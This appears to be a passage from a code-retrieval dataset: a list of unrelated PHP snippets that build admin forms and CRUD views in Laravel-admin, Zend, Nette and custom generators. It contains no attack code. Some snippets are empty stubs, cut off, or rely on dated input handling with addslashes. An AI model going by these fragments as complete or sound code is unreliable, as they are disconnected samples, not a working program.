$form->radio('display', '公开度')->options(['0' => '公开', '-1'=> '保密'])->default('0');\n //$form->display('created_at', 'Created At');\n //$form->display('updated_at', 'Updated At');\n\n return $form;\n }", "protected function getFormObjectName() {}", "public function getName()\n {\n return 'category_form';\n }", "public function model()\n {\n return FormInfo::class;\n }", "protected function form($type = self::FORM_VERTICAL, $inputClass = '', $labelClass = '') {\n\t\t$this->formType = $type;\n\t\t$this->inputClass = $inputClass;\n\t\t$this->labelClass = $labelClass;\n\t}", "public function newClass()\n {\n $listCategories = Categories::where('deleted_at', '=', null)->orderBy('name', 'asc')->get();\n $listSpeakers = Speakers::where('deleted_at', '=', null)->orderBy('name', 'asc')->get();\n return view('pages.admin.class.addClass', compact('listCategories', 'listSpeakers'));\n }", "public function createForm()\n {\n }", "public function createForm();", "public function createForm();", "public function create()\n {\n // \n return view('backend.create_class'); \n }", "private function viewFormulario()\n {\n if (count($camposDefinidos = array_map('trim', explode(';', $this->camposForm))) > 0) {\n $campo_formulario = File::get(base_path($this->templates['campo']));\n $form = File::get(base_path($this->templates['form']));\n $stringCampos = \"\";\n foreach ($camposDefinidos as $c) {\n if (count($c_ = array_map('trim', explode(':', $c))) == 2) {\n $stringCampos .= $campo_formulario;\n $stringCampos = str_replace('[{campo}]', $c_[0], $stringCampos);\n $stringCampos = str_replace('[{label}]', $c_[1], $stringCampos);\n $stringCampos = str_replace('[{tabela}]', $this->tabela, $stringCampos);\n } else {\n echo \"#FORMULARIO# Campo {$c} ignorado, por nao estar descrito corretamente... forma correta -> campo:label\\n\";\n }\n }\n\n $form = str_replace('[{campos_formulario}]', $stringCampos, $form);\n $form = str_replace('[{route_as}]', $this->routeAs, $form);\n $form = str_replace('[{tabela}]', $this->tabela, $form);\n File::put(base_path('resources/views/' . $this->tabela . \"/form.blade.php\"), $form);\n }\n }", "protected function actionEdit() {\r\n\r\n //try 1: get the object type and names based on the current object\r\n $objInstance = class_objectfactory::getInstance()->getObject($this->getSystemid());\r\n if($objInstance != null) {\r\n $strObjectTypeName = uniSubstr($this->getActionNameForClass(\"edit\", $objInstance), 4);\r\n if($strObjectTypeName != \"\") {\r\n $strType = get_class($objInstance);\r\n $this->setCurObjectClassName($strType);\r\n $this->setStrCurObjectTypeName($strObjectTypeName);\r\n }\r\n }\r\n\r\n //try 2: regular, oldschool resolving based on the current action-params\r\n $strType = $this->getCurObjectClassName();\r\n\r\n if(!is_null($strType)) {\r\n\r\n $objEdit = new $strType($this->getSystemid());\r\n $objForm = $this->getAdminForm($objEdit);\r\n $objForm->addField(new class_formentry_hidden(\"\", \"mode\"))->setStrValue(\"edit\");\r\n\r\n return $objForm->renderForm(getLinkAdminHref($this->getArrModule(\"modul\"), \"save\".$this->getStrCurObjectTypeName()));\r\n }\r\n else\r\n throw new class_exception(\"error editing current object type not known \", class_exception::$level_ERROR);\r\n }", "public function edit($id,$class)\n {\n $record = $class::findOrFail($id);\n $LayoutName=$class::getLayout();\n $ActionUrl=$class::route('edit');\n $methodField = method_field('put');\n $scripts = [];\n $fields = [];\n $heads = [];\n foreach($class::getform() as $key =>$form){\n if(isset($form['addable']) && $form['addable'])\n $view =View::make('crud.widgets.addable.'.$form['type'])->with(['fiels' => $form,'value' => $record->{$form['name']},'class' =>$class ])->renderSections();\n else\n $view =View::make('crud.widgets.'.$form['type'])->with(['fiels' => $form,'value' => $record->{$form['name']},'class' =>$class ])->renderSections();\n if (isset($view['script']))\n $scripts[] = $view['script'];\n if (isset($view['field']))\n $fields[] = $view['field'];\n if (isset($view['head']))\n $heads[] = $view['head'];\n }\n// dd(compact('LayoutName','ActionUrl','heads','fields','scripts'));\n return view('crud.create',compact('LayoutName','ActionUrl','heads','fields','scripts','methodField'));\n return view('crud.edit',['class' => $class,'record'=>$record]);\n }", "protected function form()\n {\n $form = new Form(new Goods);\n $form->display('id', 'ID');\n $form->text('name', '名称');\n $arr = (new AdminModel('goods_type'))->getAll('',['type','id']);\n $array = [];\n foreach ($arr as $key => $value) {\n\n $array[$value['id']] = $value['type'];\n }\n $form->select('type', '分类')->options($array);\n $form->text('stock', '库存');\n $form->text('price', '积分价格');\n $form->textarea('desc', '详情');\n $form->switch('status', '是否上架')->value(0);\n $form->image('cover','封面图')->uniqueName()->move('goods_img')->options(['overwriteInitial' => true]);\n $form->multipleImage('image','内容图片')->help('请上传多张内容图')->removable()->uniqueName()->move('goods_img')->options(['overwriteInitial' => true]);\n $form->footer(function ($footer) {\n // 去掉`查看`checkbox\n $footer->disableViewCheck();\n // 去掉`继续编辑`checkbox\n $footer->disableEditingCheck();\n // 去掉`继续创建`checkbox\n $footer->disableCreatingCheck();\n\n });\n return $form;\n }", "protected function createComponentTarifForm()\r\n\t{\r\n\t\t$form = new Form;\r\n\t\t$form->addText('name', 'Jméno:')\r\n\t\t\t->setRequired('Zadej jméno.');\r\n\r\n\t\t$form->addText('apicode', 'API Code:');\r\n\r\n\t\t$form->addText('price', 'Cena:')\r\n\t\t ->addRule(Form::INTEGER, 'Cena musí být číslo')\r\n\t\t\t->setRequired('Zadej cenu.');\r\n\t\t\r\n\t\t$form->addText('description', 'Popis:');\r\n\t\t\t\r\n\t\t$form->addSubmit('save', 'Uložit')\r\n\t\t\t->setAttribute('class', 'default')\r\n\t\t\t->onClick[] = $this->tarifFormSucceeded;\r\n\r\n\t\t$form->addSubmit('cancel', 'Cancel')\r\n\t\t\t->setValidationScope(NULL)\r\n\t\t\t->onClick[] = $this->formCancelled;\r\n\r\n\t\t$form->addProtection();\r\n\t\treturn $form;\r\n\t}", "protected function form()\n {\n return Admin::form(Classroom::class, function (Form $form) {\n\n $form->display('id', 'ID');\n\n $form->text('number', '编号')->placeholder('教室编号');\n $form->text('name', '名称')->placeholder('教室名称');\n $form->text('location', '地点')->placeholder('教室地点');\n $form->text('square', '面积')->placeholder('教室面积');\n $form->number('floor', '楼层')->placeholder('教室楼层');\n $form->radio('is_free', '是否空闲')->options([0 => '占用', 1 => '空闲',])->default(1);\n $form->text('building_name', '建筑物名称')->placeholder('教室所处建筑物名称');\n\n $form->display('created_at', '创建于');\n $form->display('updated_at', '更新于');\n });\n }", "public function create()\n {\n $data=$this->getFormData();\n list($specialty, $niv) = $data;\n return view('pages.classe.create',compact('specialty','niv'));\n }", "function geraClasseDadosFormulario(){\n # Abre o template da classe basica e armazena conteudo do modelo\n $modelo1 = Util::getConteudoTemplate('class.Modelo.DadosFormulario.tpl');\n $modelo2 = Util::getConteudoTemplate('metodoDadosFormularioCadastro.tpl');\n\n # Abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n\n # Varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n $nomeClasse = ucfirst($this->getCamelMode($aTabela['NOME']));\n\n $copiaModelo1 = $modelo1;\n $copiaModelo2 = $modelo2;\n\n # varre a estrutura dos campos da tabela em questao\n $camposForm = $aModeloFinal = array();\n foreach($aTabela as $oCampo){\n # recupera campo e tabela e campos (chave estrangeira)\n $nomeCampoOriginal = (string)$oCampo->NOME;\n $nomeCampo \t = $nomeCampoOriginal;\n //$nomeCampo \t = $nomeCampoOriginal;\n\n # monta parametros a serem substituidos posteriormente\n switch ((string)$oCampo->TIPO) {\n case 'date':\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = Util::formataDataFormBanco(strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"]))));\";\n break;\n\n case 'datetime':\n case 'timestamp':\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = Util::formataDataHoraFormBanco(strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"]))));\";\n break;\n\n default:\n if((int)$oCampo->CHAVE == 1)\n if((string)$aTabela['TIPO_TABELA'] != 'NORMAL')\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"])));\";\n else\n $camposForm[] = \"if(\\$acao == 2){\\n\\t\\t\\t\\$post[\\\"$nomeCampoOriginal\\\"] = strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"])));\\n\\t\\t}\";\n else\n $camposForm[] = \"\\$post[\\\"$nomeCampoOriginal\\\"] = strip_tags(addslashes(trim(\\$_REQUEST[\\\"$nomeCampoOriginal\\\"])));\";\n break;\n }\n }\n # monta demais valores a serem substituidos\n $camposForm = join($camposForm,\"\\n\\t\\t\");\n\n # substitui todas os parametros pelas variaveis ja processadas\n $copiaModelo2 = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModelo2);\n $copiaModelo2 = str_replace('%%ATRIBUICAO%%', $camposForm, $copiaModelo2);\n\n $aModeloFinal[] = $copiaModelo2;\n }\n\n $modeloFinal = str_replace('%%FUNCOES%%', join(\"\\n\\n\", $aModeloFinal), $copiaModelo1);\n $dir = dirname(dirname(__FILE__)).\"/geradas/\".$this->projeto.\"/classes\";\n if(!file_exists($dir)) \n mkdir($dir);\n\n $fp = fopen(\"$dir/class.DadosFormulario.php\",\"w\");\n fputs($fp, $modeloFinal);\n fclose($fp);\n return true;\t\n }", "protected function form()\n {\n $form = new Form(new Cases);\n\n $form->select('cate_id', '分类')->options('/admin/api/getcasecate');\n $form->select('algw_id', '顾问')->options('/admin/api/getgw');\n $form->text('title', '标题');\n $form->text('keywords', 'SEO关键字');\n $form->text('description', 'SEO描述');\n $form->text('desc', '副标题');\n $form->text('author', '来源');\n $form->radio('is_tj', '推荐')->options([0=>'否',1=>'是']);\n $form->image('thumb', '缩略图')->uniqueName();\n $form->editor('data', '详情');\n\n\n return $form;\n }", "public function edit(ClassChoice $classChoice)\n {\n //\n }", "public function getName()\r\n {\r\n return 'context_form';\r\n }", "public function getName()\n {\n return 'textpage_form';\n }", "public function create()\n\t{\n\t\treturn View::make('classes.create');\t\n\t}", "public function getFormActus() {\r\n\t\t$formActus = '<form role-form=\"rich-form\" role-form-page=\"' . ModuleActus::PAGE_VALID_ACTU . '\" id=\"form_actu\">';\r\n\t\t$formActus .= ' <div class=\"form-item\">';\r\n\t\t$formActus .= ' <span class=\"form-item-icon\"><i class=\"fa fa-info fa-fw\"></i></span>';\r\n\t\t$formActus .= ' <input role-form=\"item\" role-form-name=\"form_actu\" class=\"form-control\" type=\"text\" name=\"titre-actu\" id=\"titre-actu\" placeholder=\"Titre de l\\'actualité\" />';\r\n\t\t$formActus .= ' </div>';\r\n\t\t$formActus .= ' <div role-form=\"item\" role-form-name=\"form_actu\" class=\"form-item-div\" name=\"actu-content\" id=\"actu-content\" contenteditable >';\r\n\t\t$formActus .= ' </div>';\r\n\t\t$formActus .= ' <div class=\"form-item\">';\r\n\t\t$formActus .= ' <input type=\"submit\" value=\"valider\" />';\r\n\t\t$formActus .= ' </div>';\r\n\t\t$formActus .= '</form>';\r\n\t\treturn $formActus;\r\n\t}", "protected function form()\n {\n\n $form = new Form(new Goods);\n\n //分类树形\n $cateTree = getTree(Category::all()->where('is_show',1)->toArray());\n $cate_map = [];\n foreach ($cateTree as $key => $value) {\n $cate_map[$value['id']] = str_repeat('&#12288;&#12288;',$value['level']).$value['title'];\n }\n\n $form->display('id', 'ID');\n $form->select('cate_id', '分类')->rules('required')->options($cate_map);\n $form->text('name', '商品')->rules('required')->attribute(['autocomplete' => 'off']);\n $form->textarea('remark', '备注');\n $states = [\n 'on' => ['value' => 1, 'text' => '是', 'color' => 'success'],\n 'off' => ['value' => 0, 'text' => '否', 'color' => 'danger'],\n ];\n $form->switch('is_valid',trans('admin.is_show'))->states($states)->default(1);\n $form->display('created_at', trans('admin.created_at'));\n $form->display('updated_at', trans('admin.updated_at'));\n $form->hidden('operated_admin_id')->value(Admin::user()->id);\n $form->hidden('hos_id')->value(session('hos_id'));\n\n\n $form->tools(function (Form\\Tools $tools) {\n // 去掉`删除`按钮\n $tools->disableDelete();\n // 去掉`查看`按钮\n $tools->disableView();\n });\n\n return $form;\n }", "protected function _getType()\n\t{\n\t\t$class = preg_replace('/.*\\\\\\([^\\\\\\]+)$/', '$1', get_called_class());\n\t\t$class = preg_replace('/C(.*)FormElement/i', '$1', $class);\n\t\t$class = strtolower($class);\n\n\t\treturn $class;\n\t}", "public function init()\n\t{\n\t\tparent::init();\n\n\t\t// Set the form's attributes\n\t\t$this->setName('classesForm');\n\t\t$this->setMethod(self::METHOD_POST);\n\n\t\t// Id\n\t\t$id = new Zend_Form_Element_Hidden('class_id');\n\t\t$id->setOptions(array(\n\t\t\t\t'required' => false,\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'decorators' => array('ViewHelper')\n\t\t));\n\t\t$this->addElement($id);\n\n\t\t// Name\n\t\t$name = new Zend_Form_Element_Text('class_name');\n\t\t$name->setOptions(array(\n\t\t\t\t'label' => 'ClassForm:@Name',\n\t\t\t\t'required' => true,\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'validators' => array('NotEmpty'),\n\t\t\t\t'decorators' => array('ViewHelper'),\n\t\t\t\t'autocomplete' => 'off'\n\t\t));\n\t\t$this->addElement($name);\n\n\t\t// Code\n\t\t$code = new Zend_Form_Element_Text('class_code');\n\t\t$code->setOptions(array(\n\t\t\t\t'label' => 'ClassForm:@Code',\n\t\t\t\t'required' => true,\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'validators' => array('NotEmpty'),\n\t\t\t\t'decorators' => array('ViewHelper'),\n\t\t\t\t'autocomplete' => 'off'\n\t\t));\n\t\t$this->addElement($code);\n\t\t\n\t\t// Period\n\t\t$period = new Lumia_Form_Element_Period('class_period');\n\t\t$period->setOptions(array(\n\t\t\t\t'label' => 'ClassForm:@Period',\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'decorators' => array('ViewHelper'),\n\t\t\t\t'autocomplete' => 'off'\n\t\t));\n\t\t$this->addElement($period);\n\t\t\n\t\t// Homeroom teacher\n\t\t$homeroomTeacher = new Zend_Form_Element_Select('class_teacher');\n\t\t$homeroomTeacher->setOptions(array(\n\t\t\t\t'label' => 'ClassForm:@Homeroom teacher',\n\t\t\t\t'required' => true,\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'multiOptions' => array(\n\t\t\t\t\t\tnull => 'ClassForm:@Default'\n\t\t\t\t),\n\t\t\t\t'validators' => array('NotEmpty'),\n\t\t\t\t'decorators' => array('ViewHelper')\n\t\t));\n\t\t\n\t\t$teacherModel = new Admin_Model_Teacher();\n\t\t$teacherRows = $teacherModel->allActivate();\n\t\tif ($teacherRows->count())\n\t\t{\n\t\t\tforeach ($teacherRows as $teacherRow)\n\t\t\t{\n\t\t\t\t$homeroomTeacher->addMultiOption($teacherRow->teacher_id, $teacherRow->teacher_name);\n\t\t\t}\n\t\t}\n\n\t\t$this->addElement($homeroomTeacher);\n\n\t\t// Status\n\t\t$status = new Zend_Form_Element_Radio('class_status');\n\t\t$status->setOptions(array(\n\t\t\t\t'label' => 'ClassForm:@Status',\n\t\t\t\t'required' => true,\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'multiOptions' => array(\n\t\t\t\t\t\t1 => 'ClassForm:@Status active',\n\t\t\t\t\t\t0 => 'ClassForm:@Status inactive'\n\t\t\t\t),\n\t\t\t\t'validators' => array('NotEmpty'),\n\t\t\t\t'decorators' => array('ViewHelper'),\n\t\t\t\t'autocomplete' => 'off'\n\t\t));\n\t\t$this->addElement($status);\n\t\t\n\t\t// Department\n\t\t$department = new Zend_Form_Element_Select('class_department');\n\t\t$department->setOptions(array(\n\t\t\t\t'label' => 'ClassForm:@Department',\n\t\t\t\t'required' => true,\n\t\t\t\t'filters' => array(\n\t\t\t\t\t\t'StringTrim',\n\t\t\t\t\t\t'StripTags'\n\t\t\t\t),\n\t\t\t\t'multiOptions' => array(\n\t\t\t\t\t\tnull => 'ClassForm:@Default'\n\t\t\t\t),\n\t\t\t\t'validators' => array('NotEmpty'),\n\t\t\t\t'decorators' => array('ViewHelper')\n\t\t));\n\n\t\t$departmentModel = new Admin_Model_Department();\n\t\t$departmentRows = $departmentModel->allActivate();\n\t\tif ($departmentRows->count())\n\t\t{\n\t\t\tforeach ($departmentRows as $departmentRow)\n\t\t\t{\n\t\t\t\t$department->addMultiOption($departmentRow->department_id, $departmentRow->department_name);\n\t\t\t}\n\t\t}\n\n\t\t$this->addElement($department);\n\t\t\n\t\t// Save button\n\t\t$submit = new Zend_Form_Element_Submit('btnSave');\n\t\t$submit->setOptions(array(\n\t\t\t\t'label' => 'Form:@Button save',\n\t\t\t\t'decorators' => array('ViewHelper')\n\t\t));\n\t\t$this->addElement($submit);\n\n\t\t// Reset button\n\t\t$submit = new Zend_Form_Element_Button('btnReset');\n\t\t$submit->setOptions(array(\n\t\t\t\t'label' => 'Form:@Button reset',\n\t\t\t\t'type' => 'reset',\n\t\t\t\t'decorators' => array('ViewHelper')\n\t\t));\n\n\t\t$this->addElement($submit);\n\t}", "function formClass($type = \"form\"){\n if($type == \"form\")\n return Variable::$C_NUMERIC;\n\n return Variable::$C_NUMERIC;\n }", "public function getClassName() {\r\n return $this->myCRUD()->getClassName();\r\n }", "public function getJavaScriptClass()\n {\n return 'Field';\n }", "private function generate()\n\t{\n//\t\t$arrContrato = $contrato->getContratoPorTipoDeObjeto(true, 'P');\n\n\t\t$unidade = new Unidade();\n\t\t$arrUnidade = $unidade->getUnidade(true);\n\t\t\n\t\t$this->setName('projeto_previsto');\n\t\t$this->addDecorator('HtmlTag', array('tag'=>'div', 'class'=>'span-14'));\n\n\t\t$cd_contrato = new Base_Form_Element_Select('cd_contrato_projeto_previsto', array('class'=>'span-5 float-l'));\n\t\t$cd_contrato->setLabel(Base_Util::getTranslator('L_VIEW_CONTRATO').':')\n\t\t->addDecorator('Label', array('class'=>'float-l span-3 right'))\n\t\t->setRegisterInArrayValidator(false)\n\t\t->setRequired(true);\n//\t\t$cd_contrato->addMultiOptions($arrContrato);\n\n\t\t$cd_unidade = new Base_Form_Element_Select('cd_unidade_projeto_previsto', array('class'=>'span-5 float-l'));\n\t\t$cd_unidade->setLabel(Base_Util::getTranslator('L_VIEW_UNIDADE').':')\n\t\t->addDecorator('Label', array('class'=>'span-3 float-l clear-l right'))\n\t\t->setRegisterInArrayValidator(false)\n\t\t->setRequired(true);\n\t\t$cd_unidade->addMultiOptions($arrUnidade);\n\t\t\n\t\t$cd_projeto_previsto = new Base_Form_Element_Hidden('cd_projeto_previsto');\n\t\t$tx_projeto_previsto = new Base_Form_Element_Text('tx_projeto_previsto', array('class'=>'span-10 float-l'));\n\t\t$tx_projeto_previsto->setLabel(Base_Util::getTranslator('L_VIEW_PROJETO_PREVISTO').':')\n\t\t->addDecorator('Label', array('class'=>'span-3 float-l clear-l right'))\n\t\t->setRequired(true)\n\t\t->addFilter('StripTags')\n\t\t->addFilter('StringTrim')\n\t\t->addValidator('NotEmpty');\n\n\t\t$ni_horas_projeto_previsto = new Base_Form_Element_SoNumero('ni_horas_projeto_previsto', array('class'=>'span-2 float-l'));\n\t\t$ni_horas_projeto_previsto->setLabel(Base_Util::getTranslator('L_VIEW_UNID_METRICA_PREVISTA').':')\n\t\t->addDecorator('Label', array('class'=>'span-3 float-l clear-l right'))\n\t\t->setRequired(true)\n\t\t->addFilter('StripTags')\n\t\t->addFilter('StringTrim')\n\t\t->addValidator('NotEmpty');\n\n\t\t$objDefinicaoMetrica = new DefinicaoMetrica();\n\t\t$arrSiglaMetrica\t = $objDefinicaoMetrica->getComboSiglaDefinicaoMetrica(true);\n\n\t\t$cd_metrica_unidade_prevista_projeto_previsto = new Base_Form_Element_Select('cd_metrica_unidade_prevista_projeto_previsto', array('class'=>'float-l span-3'));\n\t\t$cd_metrica_unidade_prevista_projeto_previsto->addMultiOptions($arrSiglaMetrica)\n\t\t->setLabel('&nbsp;')\n\t\t->addDecorator('Label', array('class'=>'float-l right lb_combo_sigla_metrica_unidade_prevista_projeto_previsto', 'style'=>'margin-left: 5px;'))\n\t\t->addDecorator('HtmlTag', array('tag'=>'div', 'class'=>'float-l', 'style'=>'height:27px;'))\n\t\t->setRequired(true)\n ->setRegisterInArrayValidator(false);\n\n\t\t$arrProjetoPrevisto = array();\n\t\t$arrProjetoPrevisto['0'] = Base_Util::getTranslator('L_VIEW_COMBO_SELECIONE');\n\t\t$arrProjetoPrevisto['E'] = Base_Util::getTranslator('L_VIEW_COMBO_EVOLUTIVO');\n\t\t$arrProjetoPrevisto['N'] = Base_Util::getTranslator('L_VIEW_COMBO_NOVO');\n\t\t\n\t\t$st_projeto_previsto = new Base_Form_Element_Select('st_projeto_previsto', array('class'=>'span-5 float-l'));\n\t\t$st_projeto_previsto->setLabel(Base_Util::getTranslator('L_VIEW_TIPO_PROJETO').':')\n\t\t->addDecorator('Label', array('class'=>'span-3 float-l clear-l right'))\n\t\t->setRegisterInArrayValidator(false)\n\t\t->setRequired(true);\n\t\t$st_projeto_previsto->addMultiOptions($arrProjetoPrevisto);\n\t\t\n\t\t$tx_descricao_projeto_previsto = new Base_Form_Element_Textarea('tx_descricao_projeto_previsto', array('class'=>'span-14 height-4 float-l'));\n\t\t$tx_descricao_projeto_previsto->setLabel(Base_Util::getTranslator('L_VIEW_DESCRICAO').':')\n\t\t->addDecorator('Label', array('class'=>'float-l span-3 right'))\n\t\t->addDecorator('HtmlTag', array('tag'=>'div', 'class'=>'span-22 float-l clear gap-1'))\n\t\t->addFilter('StripTags')\n\t\t->addFilter('StringTrim')\n\t\t->addValidator('NotEmpty');\t\t\t\t\t\t\n\t\t\n\t\t$this->addElements(array(\n\t\t\t\t\t\t\t\t$cd_projeto_previsto, \n\t\t\t\t\t\t\t\t$cd_contrato, \n\t\t\t\t\t\t\t\t$cd_unidade, \n\t\t\t\t\t\t\t\t$st_projeto_previsto,\n\t\t\t\t\t\t\t\t$tx_projeto_previsto, \n\t\t\t\t\t\t\t\t$ni_horas_projeto_previsto,\n\t\t\t\t\t\t\t\t$cd_metrica_unidade_prevista_projeto_previsto,\n\t\t\t\t\t\t\t\t$tx_descricao_projeto_previsto));\n\t}", "abstract public function createForm();", "abstract public function createForm();", "protected function form()\n {\n $form = new Form(new Information);\n \n \n\n $form->text('name', __('项目名称'))->autofocus()->placeholder('例:上汽大众新能源汽车工厂项目')->required();\n $form->text('industry', __('行业类别'))->required();\n $form->currency('investment', __('投资金额'))->icon('fa-usd')->required(); \n $form->text('cont_name', __('资方联系人'))->placeholder('选填内容,可为空');\n $form->text('cont_phone', __('资方联系方式'))->placeholder('选填内容,可为空');\n $form->text('staff_name', __('工作人员姓名'));\n $form->text('staff_phone', __('工作人员电话'));\n $form->hidden('adminuser_id', __('adminuser_id'))->value(Admin::user()->id);\n $form->textarea('content', __('项目情况'))->required()->placeholder('请填写项目介绍(包括项目投资额度、产业类别等)、项目需求(如土地、排放、能耗等)、谈判进度等......');\n\n\n\n $form->tools(function (Form\\Tools $tools) {\n\n // 去掉`列表`按钮\n $tools->disableList();\n\n });\n\n $form->footer(function ($footer) {\n\n // 去掉`重置`按钮\n $footer->disableReset();\n\n // 去掉`查看`checkbox\n $footer->disableViewCheck();\n\n // 去掉`继续编辑`checkbox\n $footer->disableEditingCheck();\n\n // 去掉`继续创建`checkbox\n $footer->disableCreatingCheck();\n\n });\n\n $form->setAction('../admin/myinfo');\n\n return $form;\n }", "protected function editView_form(){\n $output_path = './resources/views/'. $this->solveName($this->commandObj->argument('model_B'), config('CrudDscaffold.app_name_rules.app_route')). '/';\n $output_filename = '_form.blade.php';\n\n //replace word\n $pattern = '#(.*)<label for=\"'.\n $this->solveName($this->commandObj->argument('model_A'), config('CrudDscaffold.app_name_rules.name_name')).'_id-field\">(.*)_id</label>(.*){!! Form::text\\(\"'.\n $this->solveName($this->commandObj->argument('model_A'), config('CrudDscaffold.app_name_rules.name_name')).'_id\", null,(.*)#s';\n $replacement = '\\1<label for=\"'.\n $this->solveName($this->commandObj->argument('model_A'), config('CrudDscaffold.app_name_rules.name_name')).'_id-field\">\\2_'. $this->relation_display_column. '</label>\\3{!! Form::select(\"'.\n $this->solveName($this->commandObj->argument('model_A'), config('CrudDscaffold.app_name_rules.name_name')).'_id\", $list[\"'.\n $this->solveName($this->commandObj->argument('model_A'), config('CrudDscaffold.app_name_rules.app_model_class')).'\"], null,\\4';\n\n //output(use OutputTrait)\n $this->outputReplace( $output_path, $output_filename, $pattern, $replacement, $debug = $this->debug );\n }", "public function addClass(){\n return view(\"Admin.ClassSec.addclass\");\n }", "public function CreateForm();", "function cl_editalrua() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"editalrua\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "protected function form()\n {\n $form = new Form(new Drug);\n\n $form->text('street_name', '«Уличное» название');\n $form->text('city', 'Город');\n $form->text('active_substance', 'Активное вещество');\n $form->text('symbol', 'Символ');\n $form->text('state', 'Состояние');\n $form->text('color', 'Цвет');\n $form->text('inscription', 'Надпись');\n $form->text('shape', 'Форма');\n $form->text('weight', 'Вес таблетки');\n $form->text('weight_active', 'Вес действующего вещества');\n $form->text('description', 'Описание');\n $form->text('negative_effect', 'Негативный эффект');\n $form->switch('confirm', 'Подтверждение');\n\n return $form;\n }", "public function getAddForm();", "public function form(){\n\n }", "protected function form()\n { \n \n $form = new Form(new Blog);\n $lab = Lab::all();\n $labs = [];\n foreach($lab as $v) {\n $labs[$v['id']] = $v->lab_name;\n }\n $cat = Cat::all();\n // dd($cat); \n $cats = [];\n foreach($cat as $v)\n {\n $cats[$v['id']] = $v->cat_name;\n }\n $date = date('Ymd');\n $x = 194;\n $y = 121;\n $form->text('title', '标题')->rules('required');\n $form->select('lab_id', '标签')->options($labs); \n $form->select('cat_id', '分类')->options($cats); \n $form->simplemde('content', '内容')->rules('required');\n // $form->image('logo', '图片')->rules('required|image')->move('/upload/',$date)->crop($x, $y)->removable();\n $form->image('logo', '图片')->move('/image')->resize(300, 200);\n \n\n\n return $form;\n }", "public function show_existing()\n\t{\n\t global $e_userclass;\n\n\t\t$tp \t= e107::getParser();\n\t\t$sql \t= e107::getDb();\n\t\t$frm \t= new uclassFrm;\n\t\t$ns \t= e107::getRender();\n\t\t$mes \t= e107::getMessage();\n\n\n\t\tif (!$total = $sql->db_Select('userclass_classes', '*'))\n\t\t{\n\t\t\t$text = \"\";\n\t\t\t$mes->add(UCSLAN_7, E_MESSAGE_INFO);\n\n\t\t}\n\t\telse\n\t\t{\n $text .= \"<form method='post' action='\".e_SELF.\"?\".e_QUERY.\"'>\n <fieldset id='core-userclass-list'>\n\t\t\t\t\t\t<legend class='e-hideme'>\".UCSLAN_5.\"</legend>\n\t\t\t\t\t\t<table class='adminlist'>\".\n\t\t\t\t\t\t\t$frm->colGroup($this->fields,$this->fieldpref).\n\t\t\t\t\t\t\t$frm->thead($this->fields,$this->fieldpref).\n\n\t\t\t\t\t\t\t\"<tbody>\";\n\t\t\t$classes = $sql->db_getList('ALL', FALSE, FALSE);\n\n foreach($classes as $row)\n\t\t\t{\n\t\t\t\t$text .= $frm->renderTableRow($this->fields, $this->fieldpref, $row, 'userclass_id');\n\t\t\t}\n\n\t\t\t$text .= \"</tbody></table></fieldset></form>\";\n\t\t}\n\n\t\t$text .= $e_userclass->show_graphical_tree();\t// Show the tree as well - sometimes more useful\n\n\t\t$ns->tablerender(UCSLAN_21, $mes->render().$text );\n\n\t}", "public function create()\n {\n //TODO frontEndDeveloper \n //load admin.classes.create view\n\n\n return view('admin.classes.create');\n }", "protected function form()\n {\n $form = new Form(new Category());\n \n $form->text('erp_id', __('ID(ERP用)'));\n $form->select('parent_id', __('中分類'))->options(\n\n Category::Mid()->pluck('name', 'id')\n\n )->required();\n \n $form->text('name', __('小分類名稱'));\n $form->hidden('type', __('Type'))->default(3);\n\n return $form;\n }", "public function AddClassPage(){\n $class=clas::all();\n return view('class.add')->with('classInfo',$class);\n }", "public function getName()\n {\n return 'user_form_type';\n }", "public function setFormClass($class)\n {\n $this->_formClass = $class;\n return $this;\n }", "protected function form()\n {\n $form = new Form(new Customer());\n /*if (Admin::user()->isRole('Editor')){\n $form->text('name', __('Name'))->readonly();\n $form->datetime('birthday', __('Birthday'))->default(date('Y-m-d H:i:s'))->readonly();\n $form->text('room_no', __('Room no'))->readonly();\n $form->text('phone_number', __('Phone number'))->readonly();\n $form->select('block_no', __('Toà nhà'))->options(Constant::BLOCK)->setWidth(2, 2)->readonly();\n $form->select('telco', __('Nhà mạng'))->options(Constant::TELCO)->setWidth(2, 2)->readonly();\n $form->select('sale_id', __('Nhân viên chăm sóc'))->options(AuthUser::all()->pluck('name','id'))->readonly();\n } else {*/\n $form->text('name', __('Name'));\n //$form->datetime('birthday', __('Birthday'))->default(date('Y-m-d H:i:s'));\n $form->text('room_no', __('Room no'));\n $form->mobile(\"phone_number\", \"Số điện thoại\")->options(['mask' => '9999999999']);\n $form->select('block_no', __('Địa chỉ'))->options(Constant::BLOCK)->setWidth(2, 2)->default(100);\n $form->text('address', __('Địa chỉ'));\n $form->select('telco', __('Nhà mạng'))->options(Constant::TELCO)->setWidth(2, 2);\n if 